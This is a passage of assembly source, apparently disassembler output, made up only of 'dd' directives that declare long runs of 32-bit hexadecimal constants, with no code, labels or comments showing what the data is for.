		dd 9652FB1Dh, 77FE80h, 14A6313Ch, 0B5ADA29Dh, 12903700h
		dd 0A748632h, 53FB016Bh, 4D69C143h, 2AAADCAFh, 3E489400h
		dd 21FD7F96h, 0B65700A3h, 2873ADF4h, 6E3E0F01h,	5B208088h
		dd 3069E235h, 3EDC00F8h, 4013AA3Ch, 7E72D5C5h, 0D9240C02h
		dd 48A3DD7Fh, 3AD321h
		dd 5AF3BBAh, 8F230F80h,	4F29C301h, 31D824F7h, 1E1B65D0h
		dd 0C0CDC581h, 0C4801EE3h, 0BC004E33h, 7624B908h, 3C50982Eh
		dd 1A859173h, 406EED8Ch, 0DC78F588h, 0A700463Bh, 0A447BC11h
		dd 1FD41D7h, 0DB560BE7h, 0EC20BA4Ch, 5E00EF6Dh,	1410B303h
		dd 1432FEB0h, 92705453h, 1CE0C20Fh, 4ED89A61h, 220EEC86h
		dd 36F3DF58h, 0A9B871h,	136D8FCBh, 0A874EC79h, 43987050h
		dd 0FB44113h, 9F9D00FAh, 0EF19C0CCh, 0F0054D0Eh, 4C2EE084h
		dd 0B737BEh, 0BB77092Fh, 19EAB808h, 8B368C24h, 0E00D24Eh
		dd 0FE5B455Eh, 40A80003h, 0B61498ADh, 6900C7A7h, 413BDDC6h
		dd 98FB2BB3h, 891F0041h, 0A92282FFh, 0F272B05Ch, 0F5B56C0Ch
		dd 31810A8h, 17A155F4h,	25281A9Ah, 0CAC02DFAh, 8747C5DDh
		dd 360E008Eh, 0C86244ACh, 81E3433Eh, 1BD7CD31h,	109C4A6Ah
		dd 82944030h, 529E24F8h, 0D2C2AE00h, 64F68C50h,	276D602Dh
		dd 0C66FFDA7h, 0A4FC5801h, 9D1D9426h, 770396BFh, 8ACAC52Dh
		dd 0B314FB00h, 0BA537A0h, 39C27F72h, 0FCEFAFE6h, 0BB5EFEA2h
		dd 5DC15A43h, 55D9422Bh, 31DB2240h, 2011E98h, 0CFB68EE8h
		dd 5C2029F2h, 0D86154F4h, 0CD11336Bh, 1D00BE46h, 37594C56h
		dd 28316496h, 0BC7E1Fh,	2071E075h, 0BB66099Ch, 0A7DA6C06h
		dd 4F3431E7h, 0EA81BA29h, 0B8FDEE87h, 8D7A90EBh, 116F0003h
		dd 0F75FE983h, 0D5001D9Fh, 0C820FA34h, 6C362Fh,	64162490h
		dd 0B8616798h, 0DB7AF509h, 255C8037h, 7F0B26Ch,	127E27DAh
		dd 0D0E837F8h, 0B3EE78FDh, 2AF34Dh, 0F6AB871Dh,	5AEC7Bh
		dd 0B193ED27h, 722FB937h, 6F953200h, 62F6E228h,	0CB8A5018h
		dd 3A4400D6h, 0DE7C58A4h, 0A714119Ch, 76E6EB95h, 24293B3Eh
		dd 33405654h, 9041682h,	0F62EAA7Ah, 51777003h, 0A003F9Eh
		dd 3B810170h, 593B42Ah,	0D56B1527h, 0D270001Dh,	4E96E00Ah
		dd 0A0FC3405h, 0F0401F0Fh, 3341EB73h, 413E637Eh, 0E6B0CCD6h
		dd 57714ADCh, 0EBB917C0h, 0C154BD0Fh, 5F9BE54Ch, 2BEA3E6Dh
		dd 4568C6D4h, 3C892793h, 3B894EDDh, 0BA4FE883h,	87E98787h
		dd 0E3415369h, 1347C381h, 606EB65h, 0C52D1C87h,	0F2B6850h
		dd 0BD802C30h, 528323F5h, 0C70F7198h, 0C1B56A0Ch, 8B545DE9h
		dd 0C4A834BEh, 95681B27h, 7C05410Fh, 0FF08478Fh, 835FD581h
		dd 590F2AB2h, 4513E927h, 0B8FBD9FCh, 0EEEDFA93h, 0A8DCCCA5h
		dd 0DA221664h, 51440062h, 336981D6h, 3028BF00h,	5E75AA58h
		dd 77E001A1h, 531C6079h, 969F41Dh, 7DB47C0Fh, 0A47160D0h
		dd 0D96425h, 5130F35h, 53402021h, 655A7B00h, 38C32B79h
		dd 4EDE00DAh, 2CA4D43h,	45E2E246h, 0C9567100h, 403B75F3h
		dd 0B730023h, 8B6CD601h, 640095F1h, 3216F208h, 0EACE3968h
		dd 0AE130062h, 58B9475h, 4202376Ch, 8DF37F24h, 1F3360BCh
		dd 5465001Dh, 0F10390F4h, 58017844h, 5EEA472Bh,	0A96EC18Bh
		dd 0E67B0078h, 9C41238Ah, 253500B9h, 74E5A2B3h,	3A53EE7Ch
		dd 661670E7h, 8BEBFA8Bh, 0C01B88BBh, 0A2EC6545h, 27C9D800h
		dd 5D8589F4h, 7E9312Ah,	0E48DFE58h, 12D00861h, 8C1AB832h
		dd 0CDE57500h, 0E6A1F64h, 36BE0790h, 0FE3B80DBh, 90CBEBF6h
		dd 85C01888h, 0C8E3D5Fh, 0D1BD8B26h, 0BE1666A1h, 0D0BF8297h
		dd 4C6FE6Ah, 0DCD3B300h, 5E258EBAh, 9874D129h, 0D20036BCh
		dd 134FA557h, 0D60A6F2h, 2C59D01h, 0A9D76080h, 611A3A0Bh
		dd 6F657F6Ah, 0ED601DE4h, 710180FCh, 0C69C38CDh, 0C343BE1Ah
		dd 9580C47Fh, 61A19589h, 0C083722Fh, 0DDA97B05h, 5E3ED0ACh
		dd 842E07EEh, 52115095h, 25B8880Fh, 60310076h, 28B1F88Bh
		dd 8FA25A61h, 54983442h, 0F7908D8h, 0A3D57900h,	48402EA8h
		dd 77B90CBEh, 0B9A58E7h, 229DB512h, 572E2124h, 84001723h
		dd 0BFF5E6BCh, 9DF4017Ah, 0B995FF60h, 0DF58AD0Fh, 3C6D0C20h
		dd 3000F84Eh, 0CEBABF66h, 129D8D5Fh, 3BECD72Ch,	1D2362h
		dd 2CA4533Ah, 6F021199h, 0FF329110h, 445F47D3h,	0C1B0671Dh
		dd 7819DF63h, 0A5D90020h, 12DBBE91h, 0FF141FA4h, 226C9D85h
		dd 0AC0C060Bh, 7AD0A030h, 711E4200h, 5EF28B83h,	81935E9h
		dd 4CF6BA26h, 801A8924h, 0F0B86660h, 553FB55Fh,	209B4861h
		dd 0A8D0722Ah, 946386F8h, 836B2853h, 8B203BA9h,	0C0C8D19h
		dd 0C7B22051h, 815F480Dh, 47C22AE3h, 601764A7h,	0C79A75Dh
		dd 0F1BD8906h, 0DB0D0B6Fh, 2BB1850Fh, 0ACD0ED7Ah, 72C800ABh
		dd 5C18F9AEh, 7A28BD83h, 0E8C68536h, 0B72F4C84h, 2CD65674h
		dd 68AC0CFh, 0B612359Dh, 0FEB78DE4h, 1B467636h,	11D44B00h
		dd 0B056699Ch, 85C7DC14h, 0A4524A59h, 6F57506h,	0FF555B71h
		dd 1423A13Bh, 32BE6000h, 0A468308Dh, 517CB736h,	1D467Ch
		dd 0AD96F7BBh, 0E7C550Bh, 0BE4DEEF9h, 54DB9367h, 81248C8Dh
		dd 0FEFF231Ch, 0BD01D9B9h, 2DA85BCCh, 0A0DF8896h, 0DAA768CAh
		dd 8604012Bh, 8C66B82Ah, 25FD6EDBh, 0CC289FACh,	1941B92Bh
		dd 14F0A87Ah, 0FC927E84h, 0A7008C1Ch, 9FAD22A8h, 50CE30Ah
		dd 0A9B5239Bh, 0C0A5EF1Eh, 0DD608552h, 5A1E3EFAh, 25C0347h
		dd 0FA95C40h, 5B7321BFh, 0C440EB01h, 0CCBD3324h, 9B8500E6h
		dd 92A6B875h, 8F013780h, 61F85A5Bh, 2A40E990h, 368798h
		dd 0E3DD14DAh, 0EC30C8C9h, 50A4BF19h, 0F0100A28h, 8101F75Ch
		dd 3F7DA711h, 0B0FDDBB1h, 1670F9BAh, 0EF70E6FCh, 1688B4CBh
		dd 6ED4BC0h, 0C67148E4h, 8C18E8h, 76E3D48Dh, 51B58BF6h
		dd 0F9E0550h, 0D1D8B62Bh, 1F55778h, 939EF62Dh, 6083E061h
		dd 0F977D883h, 2D06BA30h, 3F5B57BFh, 0C304631Bh, 0D079B529h
		dd 4E8C1A8h, 5D7896BBh,	826D00A6h, 0FC468A1Bh, 0E25BF766h
		dd 895940BBh, 877578EBh, 8B004D71h, 0F7F6C7Ah, 14059B35h
		dd 7C2B04CDh, 8C17BCh, 2C4DD4D7h, 93F6B70Fh, 0B9CFBF01h
		dd 0E95074E7h, 6D023508h, 81E1E08Fh, 44776793h,	89D16016h
		dd 0F7FCA6h, 78832557h,	0B5FFF18Bh, 0F6BD4AB2h,	254CDC66h
		dd 81D1092h, 9A31A650h,	78239B38h, 8400FE54h, 0E4793565h
		dd 7BC78166h, 5E8B7C60h, 5F6EAEB0h, 2C8AD903h, 0AE10E3C7h
		dd 0A1511625h, 91F0E466h, 7800B684h, 0BEA40A16h, 4813D8B3h
		dd 0A54CAA2Ch, 90C0622h, 6E151D95h, 2C617E3Ch, 872FCD83h
		dd 99E5BD29h, 0EE819E18h, 679C8509h, 827B1A69h,	0A0AC9B2h
		dd 0DC712E7Ch, 0BAB23Fh, 146BE337h, 927DAFCCh, 3540E59Bh
		dd 1489465Ah, 0BCB59C1Dh, 0FF5DEB04h, 0BD28C01Eh, 84D51871h
		dd 6BEF5B90h, 0F9161330h, 0C15F04FAh, 0F418066h, 75A1028Ch
		dd 10A621F7h, 39621749h, 28DA1214h, 6115459Eh, 95ED40ACh
		dd 98D813BDh, 55880F3Ah, 1E40B01Dh, 5868F8D6h, 596B3B9h
		dd 0C1FFD4A5h, 11AAD24h, 2273C183h, 8E3015B2h, 0D93B2E9Ah
		dd 20E11CE4h, 15448D87h, 60034E61h, 6399D99Eh, 531815D1h
		dd 0C1F6C916h, 9F93984Bh, 801A9155h, 0A99914A6h, 587302A2h
		dd 0A428BF66h, 0BE0294CCh, 5E1BE429h, 2C53FD5Bh, 0E286B858h
		dd 54FF09B4h, 81825A9Bh, 0EC682BFBh, 3D802D4Dh,	4D084A34h
		dd 8D432895h, 11E9FE2Ch, 0DEBC6F29h, 54526302h,	60C08BFCh
		dd 83259D0Ch, 0D84AFFC7h, 144674C5h, 0B5313A02h, 907206FDh
		dd 0F9B8FCE8h, 36C115Dh, 53D1D5B3h, 3D7A53F8h, 433019A2h
		dd 528B0EE5h, 52727EACh, 12318E88h, 0EC8F2B85h,	0CCC01788h
		dd 2813710Eh, 902F85FFh, 0C352008h, 99482299h, 1C465Ch
		dd 8314C068h, 2393B0Ch
		dd 85892A19h, 2ACF171Dh, 0C5601D44h, 0FB0035EFh, 43DC0ABEh
		dd 5EF9443Ch, 0FD40EB90h, 873B824Dh, 0C5050363h, 918EAE41h
		dd 0AA145E13h, 210E31Fh, 6E375F25h, 31E40E03h, 1CDABDh
		dd 0C6D9EF81h, 0F179B126h, 7857C43Eh, 6675EE53h, 2C667112h
		dd 5E5BBC03h, 50B99529h, 0BDFF832Bh, 0D6DED4h, 0C68768D3h
		dd 53601103h, 0C1852313h, 509C8854h, 618126C1h,	47AC733h
		dd 0D0E18167h, 7DA1C28Dh, 7B5F9849h, 0E5ACC3E9h, 5F627500h
		dd 0F37BF6F0h, 0BED30291h, 63D91E5Bh, 36851FDh,	10818D29h
		dd 189C6E4Ch, 950D0975h, 0F9ABCB9Dh, 788039B7h,	73B93292h
		dd 0E9CE0799h, 19FFF814h, 30C5F36Dh, 562DCCCh, 7D782333h
		dd 0E4F2BF1Ah, 6FC18B17h, 0E2BA0264h, 6064E10Dh, 9EB1202Ch
		dd 2C3F0933h, 1104C8E4h, 577A7C80h, 14DF1E80h, 615F2DD5h
		dd 8D896198h, 5EBFCD5Eh, 2D2F1037h, 0DF3FBAF9h,	19F9A5D1h
		dd 40356920h, 0F4B09003h, 0E7BA5074h, 58121435h, 0CDC0219Bh
		dd 4D7DBD2Ah, 0A7FE3B40h, 671D4426h, 32A409B0h,	4E85016Bh
		dd 8B5F4867h, 0A28140F3h, 74AED42h, 190FEC6Eh, 0A2D9B480h
		dd 0D9E821FAh, 0FC1F6D1Bh, 8A410209h, 6CE185A4h, 60F10060h
		dd 1FA15EC4h, 0C0BF851Eh, 85E90461h, 7F900B31h,	0B4FF068h
		dd 0BCC2AF03h, 91FA7384h, 2AD8D510h, 3012E88Eh,	5FB28C3Eh
		dd 4FB65750h, 0FF9E8511h, 0D6585A1Ch, 0D2D0FA90h, 9FCBB9h
		dd 0F84F8498h, 5935453Bh, 2F20D717h, 0DF843885h, 0D8BA771Ah
		dd 45DCB79Fh, 1005E9A8h, 0C5C671EBh, 345A34B3h,	0CEF225h
		dd 0F1B4B07Eh, 738FEE8Bh, 0EC5F285Bh, 2FE52086h, 0D35AFFF0h
		dd 9E05936Eh, 251AE002h, 5E12A37Fh, 3426BFBh, 3CCE0B50h
		dd 9AEEE0A1h, 0D6E91685h, 1023CB07h, 0B44842ACh, 5A166110h
		dd 890C213Ch, 4500D7E8h, 37E01506h, 5F6E66Fh, 91B856A1h
		dd 2CDDE02Ah, 9D768182h, 0FF2D2019h, 0C6BA60E8h, 0ECEA4CB4h
		dd 0CBE002D6h, 0A1B185F4h, 7D4548DAh, 3209B688h, 0ADBF831Dh
		dd 172C9140h, 16FF517h,	6052FB18h, 3495212Bh, 952E01A4h
		dd 618BC02Dh, 24C8885Eh, 7AFB5E3Fh, 9FD507DFh, 0F3728A22h
		dd 2B54E1BDh, 0F25BF5C2h, 72BF0278h, 1C4329EBh,	8D443853h
		dd 3699DBA6h, 3BC2119Dh, 0D1BAEAAAh, 0F78B8BF5h, 3967CA42h
		dd 7E611544h, 0F96330A9h, 3E46C7B4h, 0DC23B423h, 0F1CCD604h
		dd 29B3A553h, 9110194Ch, 60501335h, 30643E1Eh, 20123116h
		dd 0E3613A0Bh, 28106E86h, 950F21D2h, 9DB00221h,	841991BBh
		dd 25873FF3h, 0C0528442h, 8030698Fh, 0B60BBF5Fh, 5BDFD6h
		dd 0BB84C661h, 0A97053E6h, 0C93019A2h, 0DEE04Ch, 0E4F8A36Ch
		dd 0D5B52B71h, 523174Fh, 1D29C90Bh, 51012A7h, 3D21BD2Bh
		dd 0EE8E3001h, 0E59C1842h, 4602AF26h, 7040393Ah, 3D8E80D3h
		dd 0EBC08224h, 969C0B15h, 54F78182h, 93D06156h,	54F8F242h
		dd 0F30C3249h, 5E53BD82h, 86B69304h, 0F5B5CE2h,	0F29F57AFh
		dd 5A0EB81h, 0DBF42EA4h, 0D4BF0432h, 0B61D3070h, 3015B20Dh
		dd 109D734h, 1211999Dh,	0EEFD120h, 0A0038E1h, 253B18EEh
		dd 2D533900h, 2945DCB4h, 0B715B8Dh, 25475F7Dh, 0AE601664h
		dd 0F294F6BFh, 96A7109h, 7B73C6B0h, 0DC4E9EE4h,	0AB8F6324h
		dd 281FAD08h, 0C792D06h, 2654618h, 15F15599h, 77128218h
		dd 50258B0Fh, 44843B84h, 21C13704h, 40416A8Dh, 6A273501h
		dd 426BFF5Eh, 0B2A57007h, 5C375B8Bh, 9B98794h, 2CFE82F6h
		dd 5A59B09Eh, 0EE71651Dh, 0B6F001F3h, 3002BB0Eh, 8CCCA319h
		dd 9C1607Ch, 14354B95h,	0BA5FBE5Ah, 0EB2E806Bh,	7A5815BFh
		dd 91B4FEACh, 532E6A91h, 0CDC263A8h, 234F35B0h,	0F83AB400h
		dd 67BF7DFCh, 33221C51h, 0A4096D5Fh, 7B80F2BDh,	728D42DCh
		dd 0BD0309A1h, 7B7A0F25h, 0C410F75Ah, 8DD70BCCh, 13AC4978h
		dd 459FE868h, 0C160AB58h, 2A958Bh, 0A909858Bh, 0A26861AEh
		dd 41314550h, 888B3C08h, 7D8BA8DEh, 0E8FFBEE5h,	18465C6Bh
		dd 1F5A303h, 0C817EA55h, 9ABE5BF1h, 85B1C0D5h, 1BDF06Ch
		dd 0DBCE81FBh, 38147A8Ah, 53E16AFAh, 91FED08h, 2437C32Bh
		dd 0BF0F3885h, 5AED83B0h, 49B5282Eh, 8122108Bh,	4E6B7221h
		dd 71EDDD17h, 31BF9F60h, 1780756Ah, 0C5C07A27h,	31F4BF7Bh
		dd 0EB0400BEh, 6A1759F5h, 0B70056B6h, 0A9D7A8E2h, 17B57BE0h
		dd 0EBC08B81h, 88F392D0h, 5C950513h, 0A68CE5AAh, 0E28D42DEh
		dd 80843015h, 0BCFA8B2Eh, 3D9C4825h, 74B42B5Fh,	322C5829h
		dd 0D6B5DBA1h, 947909h,	6E5E50E5h, 55068B76h, 216F28FCh
		dd 0B274BFE0h, 859500D6h, 0AA89CD48h, 0F45BCAA0h, 8A12083Ch
		dd 0C298482h, 0F9EFE629h, 5F0A25DDh, 14D425EEh,	0DF16B351h
		dd 54C4663Dh, 3E0F0D20h, 0B5C88990h, 5585849Dh,	713F241Ch
		dd 0B958DB00h, 92025079h, 0BF68A462h, 444847F8h, 77C46017h
		dd 20E74B88h, 97EB5E9Bh, 0D7E96D00h, 6508FEF0h,	0BA386E71h
		dd 0A4331BA8h, 5BA2CC95h, 52F6110h, 0F05BF66h, 7FE047E6h
		dd 0FCE2B3E4h, 3185091Ah, 0C031ED61h, 28A61EF1h, 0FCC4E918h
		dd 991359A4h, 1814F171h, 0B5290952h, 32E82095h,	0F8648BF0h
		dd 5DF9BD5Ah, 5ED68104h, 0E0A3B638h, 7C26C8h, 5C64ACA0h
		dd 3BE662Bh, 5DAE845Eh,	81858080h, 3414B397h, 6704EA00h
		dd 2AC73D6Eh, 0AA8001EFh, 0E9F85961h, 49E16856h, 0E6DCBCE8h
		dd 0E32C0566h, 0F039B533h, 0A9EC0B45h, 600C0D66h, 160520FAh
		dd 0B51CB94Bh, 21DE84BDh, 95A81D8Dh, 0A1F08546h, 84042DE3h
		dd 654EF3C2h, 2221C781h, 0D92C5E06h, 0F6571Dh, 9A7E50C5h
		dd 45958B35h, 7924315Fh, 0CB295D4Eh, 8379C0D5h,	0FB015FE1h
		dd 41E73F33h, 597D452Eh, 980546B8h, 34419D8Bh, 2E063432h
		dd 930DD7FFh, 8DF26044h, 535A72DAh, 815FFF00h, 29E2D4C8h
		dd 0AAC66E9Ch, 9B0F52D3h, 6011407Dh, 71B5011Ah,	5AAE620Fh
		dd 70614C3Bh, 10971622h, 0FE7E00h, 0D0BEA18Eh, 0EBB58580h
		dd 2544A43Bh, 0C47F70E9h, 9E1E5D60h, 0AAF9CAB1h, 290A54A2h
		dd 8D35499Dh, 0FC337FE8h, 0A5C793F9h, 85313E47h, 1A320C15h
		dd 0B49A2917h, 2007050h, 0F4C5F662h, 7B9D5AFh, 9CDAEE5Ch
		dd 166965E8h, 8A81DBB8h, 5D09EB96h, 0FB8F3A26h,	0A3CF703Fh
		dd 0C679EA24h, 0E82FBD0Ah, 0C50DE146h, 40D996Ch, 0E719110Ch
		dd 6A8BA108h, 418D1D20h, 49CB142Ah, 4790E837h, 121F9DECh
		dd 31007F36h, 0D411FC6Ch, 4B673F57h, 79AA4804h,	0F1B28123h
		dd 455B0201h, 0BD298771h, 10CB3D8Dh, 0B7DA815Fh, 1ECAE015h
		dd 0AE0B221Bh, 0E3810A05h, 28D980FFh, 0EE52968h, 0CBED6BBDh
		dd 0F96A1040h, 0D4B14F9Ch, 65B01CC5h, 7F60C54Fh, 0FE71ECC2h
		dd 58C70DCBh, 3D561D85h, 0AF8B3C68h, 3724F5F1h,	1C42D45Dh
		dd 526D648Eh, 89C7580Eh, 826C0B16h, 17A15900h, 520D2D82h
		dd 811900AEh, 0BA66B4A3h, 5B6D8EEEh, 0B5377A56h, 0D648E8B0h
		dd 5AF9500Ah, 5FAF4DFCh, 6DFD558Bh, 0C4FA60C3h,	8858FFB8h
		dd 40EFCF7Fh, 0FB28A1Fh, 7E7800CEh, 0CF8663F2h,	0E41F6218h
		dd 0DBA45D74h, 0A1DCCF2Eh, 46D4B575h, 3EF317B2h, 0C4D7C1E3h
		dd 2985CDCFh, 0BC98D124h, 74DB00D6h, 89057ADAh,	0CFB6559Dh
		dd 918D0302h, 9CB72935h, 0AD871580h, 2E3528B2h,	85A06CEh
		dd 0EB191E0Dh, 84DB9D58h, 5FEC25FDh, 3DD8F61Fh,	6E11FC4h
		dd 2ECCBC81h, 0ACF7E97Fh, 0A0F90966h, 0FDA44B03h, 78F80B34h
		dd 6075444Ch, 6477D4BDh
		dd 16A4535h, 83FE6FBh, 9EEC9FDBh, 0B0E51589h, 0C106954Ch
		dd 3C680CEFh, 0B4200437h, 0D2570223h, 28DFF00Dh, 0E41A95FFh
		dd 0F87EE132h, 30DFA0ABh, 11A940C5h, 853F0B53h,	0E1E1B2Dh
		dd 50288325h, 57C1A6Ah,	12006E56h, 0E0C1C361h, 4FEB0600h
		dd 0FA251C8Fh, 0A10803ABh, 0A4ACDAC6h, 5CD2D4D0h, 0CEE0E4E2h
		dd 0F531340Eh, 0B327A11Bh, 5BE4D129h, 2AC70FDDh, 9E9F17E6h
		dd 0DB6787DFh, 7C010AA6h, 0DDB48700h, 0D9202352h, 0E912E19Eh
		dd 0B79D0FE4h, 6E923DC6h, 31DDA037h, 2F8A0E40h,	39D561C7h
		dd 7B6B9DA0h, 22950772h, 91B07F18h, 780FF52Bh, 26DCBF8Ah
		dd 0F413F9C0h, 0DD7D00CDh, 60677612h, 703D746h,	50A85651h
		dd 85B88B59h, 89141D08h, 1F05A92Fh, 2ECF805Fh, 0AA007903h
		dd 40F03970h, 0A402FAh,	7CBA753Dh, 5A649792h, 0B704C22Dh
		dd 80F59C39h, 8D895351h, 94A32B81h, 5F019C5Bh, 0DEEF8060h
		dd 0EC7FBDFDh, 0AE613EB0h, 0A0C07EC0h, 0EAD44Eh, 0CD1565A4h
		dd 1B767E14h, 31281E0Bh, 1945F59Dh, 0D0321344h,	0A29D8D20h
		dd 0F7F4BDD5h, 211411D1h, 19D4EF1Ah, 44010A60h,	9095C022h
		dd 0DFE0DFh, 0D45533BCh, 0C25428CBh, 0DD2FA300h, 693759Ch
		dd 9701B849h, 0C7851EA9h, 505CE9BDh, 4F3E71C3h,	0FC9BDAEDh
		dd 0C8E0A080h, 0E95EDA91h, 5BBF9240h, 0F6EABEh,	0D60FCAFDh
		dd 2CB43DDDh, 9850C92Eh, 35EFF60h, 35E400A9h, 0D2E9AEE2h
		dd 78731020h, 1E974600h, 7EB6C40Ch, 2F3BE5Ah, 0DD58529h
		dd 3F2E5E84h, 0C80B1523h, 38776406h, 0E4009226h, 6B0A9712h
		dd 20EF5B7Dh, 0F5249C8h, 0A09D389Eh, 0B6501A20h, 0AA09994Fh
		dd 6190C952h, 0A317E120h, 0F64CD54Ah, 260F858Bh, 1A86CFB7h
		dd 4599BF59h, 0B791FC1Bh, 15008DE2h, 62D885A5h,	0C112224h
		dd 0C933F042h, 0CABE0849h, 659FB0Bh, 0C8979115h, 21A66D58h
		dd 3B502190h, 232E4CDDh, 25BBD0C8h, 583E298Eh, 64F1916Eh
		dd 0E0CFF647h, 35968A5h, 9F32B04Ch, 0BAC066B9h,	930889AAh
		dd 9C048C0Fh, 14DA6451h, 1805A781h, 0FE4110FDh,	104E5F2h
		dd 53310DBDh, 16E63235h, 7354C1E4h, 25FF6129h, 0F2216BADh
		dd 0DDC06133h, 3A1300B7h, 7C54424Dh, 0B8A0EFCEh, 6CB35ACBh
		dd 81C73727h, 0D623D188h, 71B5C489h, 93994D98h,	0A83ED5A1h
		dd 24F4DDD4h, 0F8DE4486h, 0D6522690h, 0D0F6D2D5h, 0CAE0DDA3h
		dd 3C14E483h, 85CDE832h, 1187B5E2h, 8B50CE10h, 3B6491C8h
		dd 0E2BA5280h, 0F7D6556h, 51123163h, 6E0C785Ah,	591E438Fh
		dd 2E8B0458h, 9ECBC414h, 0E46DFA1Fh, 6F840085h,	0CC5B254Dh
		dd 64011AC4h, 791659B2h, 94CEDE80h, 0D4ADBEFCh,	0FF87F700h
		dd 21850160h, 8507B203h, 0D6DB2CE8h, 3E3FC83Ah,	0CD5AE2F8h
		dd 95E7981Dh, 0CE22E1F9h, 34DE542h, 91EB0129h, 958B0B92h
		dd 0CE8A6229h, 4D9B0B3h, 45F7EB68h, 0BDC82B1h, 828E5829h
		dd 54B40ABCh, 2061C609h, 0D9754EA7h, 0A0FC5622h, 8D2C3558h
		dd 81352C77h, 0E68061C2h, 2F875912h, 8626C620h,	8C100D54h
		dd 6BDAC8C0h, 401F3A6Fh, 0A131C0ACh, 0B8EE6A7Fh, 81E6D5B2h
		dd 1054EA24h, 948E8514h, 6C304B3Eh, 0ACAA38E7h,	306C628Ch
		dd 5D0A1EADh, 5708360h,	5B504FDBh, 0BFB8918Dh, 0C2F50D63h
		dd 0F8906D5Ch, 48CE4179h, 7FA0E850h, 1300BC3Fh,	4A9D54A9h
		dd 0EA76B860h, 8A2E0215h, 585F61C3h, 1EDCDF7Ch,	925A0B5Ch
		dd 0F9DC8C07h, 4047DEBFh, 8227C1BAh, 2FBC2951h,	0C9A0D81Dh
		dd 0F7A75DFAh, 35496209h, 0E4F37911h, 0FB28AF22h, 3E252908h
		dd 3B908327h, 0C481185h, 7EC2A43Bh, 966A8881h, 0C1B2CE14h
		dd 8C1529E9h, 0A98B9F0h, 3AB250ABh, 98E449B5h, 1E172D00h
		dd 41A4968Ch, 9DA1011Fh, 0A5D573B5h, 70946C45h,	118B905h
		dd 0C1214F9Bh, 1C30F78Ah, 9E8FACC8h, 0FF0BDC1Bh, 0D9BE13BBh
		dd 3F7800A9h, 3057F702h, 0D940250Ah, 0DECABC26h, 100EED09h
		dd 7CC3BFE6h, 0BC185031h, 264A8B79h, 0C16A6BD2h, 0FC7F80F0h
		dd 0CF98440h, 10C14D9Dh, 99ED9F55h, 67F15800h, 0C9EEBDF5h
		dd 0B350ED26h, 0DBE8EFCAh, 61492420h, 0B0D7265Ch, 0D3679D48h
		dd 0C0F3ED99h, 0A80738EEh, 9048821Eh, 0EF888112h, 0E9FE0033h
		dd 0A5365842h, 3D010438h, 26CE9515h, 0F9D78EEAh, 0B320432Fh
		dd 5A1D004Dh, 8502E6BAh, 260A6870h, 6BAD465Ch, 0DB9CBECh
		dd 59DA3FDEh, 0DC602514h, 38BEBAA3h, 97234108h,	16A8A28Ah
		dd 985AB18Dh, 0E1806DF0h, 70F5F915h, 1B5A01DEh,	0D907677Ah
		dd 0C057AB6Dh, 82F49272h, 22179C48h, 8E879D69h,	996197C7h
		dd 5082E2D9h, 5009BD23h, 0CC596B23h, 7AC0594Dh,	24950984h
		dd 523D2691h, 0CF9BEA58h, 0CB8A5004h, 12C3889h,	0E32D009Dh
		dd 636C9E99h, 38961800h, 5BD92F9Fh, 5AFF1340h, 4245C78Bh
		dd 9B6661D8h, 3871144h,	8002FEAAh, 7FA0F7C7h, 0C0333C5h
		dd 0CABA60CBh, 0FB3C26E6h, 254C249Fh, 0A45505EAh, 3CD88F82h
		dd 4A7692D7h, 81E2D1h, 81AFF580h, 793788DAh, 0B6A241Ah
		dd 5C13110Fh, 34C580F0h, 4396E5h, 573F333Eh, 5F5672A8h
		dd 36FB20E3h, 0F90C8A8h, 0B820862Dh, 8191Eh, 1361A4B6h
		dd 89EDB43Ch, 0E87C8A12h, 9AA0E327h, 7384D123h,	5A016D76h
		dd 1C8523CDh, 0A080EF93h, 2298ED1Dh, 40C757Dh, 0CE3219B1h
		dd 4AB2EC85h, 0F7FAC8AAh, 0EE372900h, 0D2C16E83h, 2E19588h
		dd 396E6A90h, 3726E500h, 5B71C665h, 0C1DCB827h,	2A070C09h
		dd 0B0601778h, 0E7013295h, 0D41592ADh, 9221F20Bh, 25315074h
		dd 0C8A2C585h, 0D31A40B5h, 0E4115072h, 8091D09h, 2FD39852h
		dd 42E8007Fh, 0EB669821h, 0ACA205FFh, 77DAFDh, 8E1285F7h
		dd 243489CDh, 503A18B0h, 927C480Fh, 0ABB8471Ah,	80F2371Bh
		dd 8FBB1B19h, 0D2B8516Eh, 5F9952BEh, 7A2A245Bh,	0FF700C1h
		dd 80FD7E3Dh, 0BB717D1h, 95C9FAC0h, 41B195E0h, 6CEC826h
		dd 0A9D827B7h, 9C0D2C08h, 27B593D7h, 2046F336h,	1A09261Ah
		dd 1ADBFF9Fh, 5962D70h,	90704B3Bh, 4EBFA857h, 10DE2954h
		dd 0CC5B19C1h, 0A800C6A1h, 0CF4256DBh, 33E68A4h, 6DFD6B8Ah
		dd 0AF88B587h, 0BA0E505Ah, 2B32D183h, 70485390h, 6002BBDAh
		dd 0BD31C18Bh, 0A0FC7481h, 2DD399CCh, 0B70381B7h, 0F0B0EED2h
		dd 2E20D48Ch, 10BF8982h, 7ED34523h, 2C56EBB9h, 0DDD72CF0h
		dd 667D3413h, 0DE1C6500h, 9405DCE9h, 67C7807Ah,	80D68BF4h
		dd 66207E38h, 9823CB76h, 985B9880h, 22605880h, 542A5110h
		dd 0CF508A00h, 114AC5D8h, 89651A48h, 0A504D680h, 81A8ECA0h
		dd 403B25CFh, 26556E6Bh, 1228D1B3h, 0FCB9661Eh,	6071F2E8h
		dd 0E95E5116h, 0C913C8h, 74FCA19Ch, 3A7344B5h, 0EBF52D00h
		dd 0A5486D64h, 18721C5Ah, 46905461h, 8C1AB8h, 0CBBD8058h
		dd 392E1F3h, 1396EDECh,	53C42Dh, 3B9DF7E8h, 0EA43E2C8h
		dd 2FB79901h, 2EDCF01h,	7D399821h, 8E1C6EB8h, 70C29F51h
		dd 40743D1Dh, 80354D1Dh, 0DF0BBF50h, 49415C29h,	23D98D21h
		dd 0C05C5F09h, 27B8DC59h, 0CFBF0B7Dh, 6418923Bh, 690167E5h
		dd 88AE33FFh, 0A0E456C4h, 2012907Fh, 5F771BA9h,	0A19BD85Eh
		dd 311BDF80h, 61023C0Eh, 87E77C3Bh, 0C50AD460h,	587AF985h
		dd 0A0B2CE17h, 645F3632h, 70B400A1h, 0C70F21C3h, 0F12D04ECh
		dd 6794107Bh, 695F0091h, 2DA00307h, 63002AB3h, 2EF322BEh
		dd 2C910119h, 6023615Bh, 8F48B78Ch, 2CF09501h, 583502C5h
		dd 35D7812Ch, 1137B8ACh
		dd 40581484h, 19E3D32Ch, 408C2D04h, 5D95231Ch, 80317F9Ah
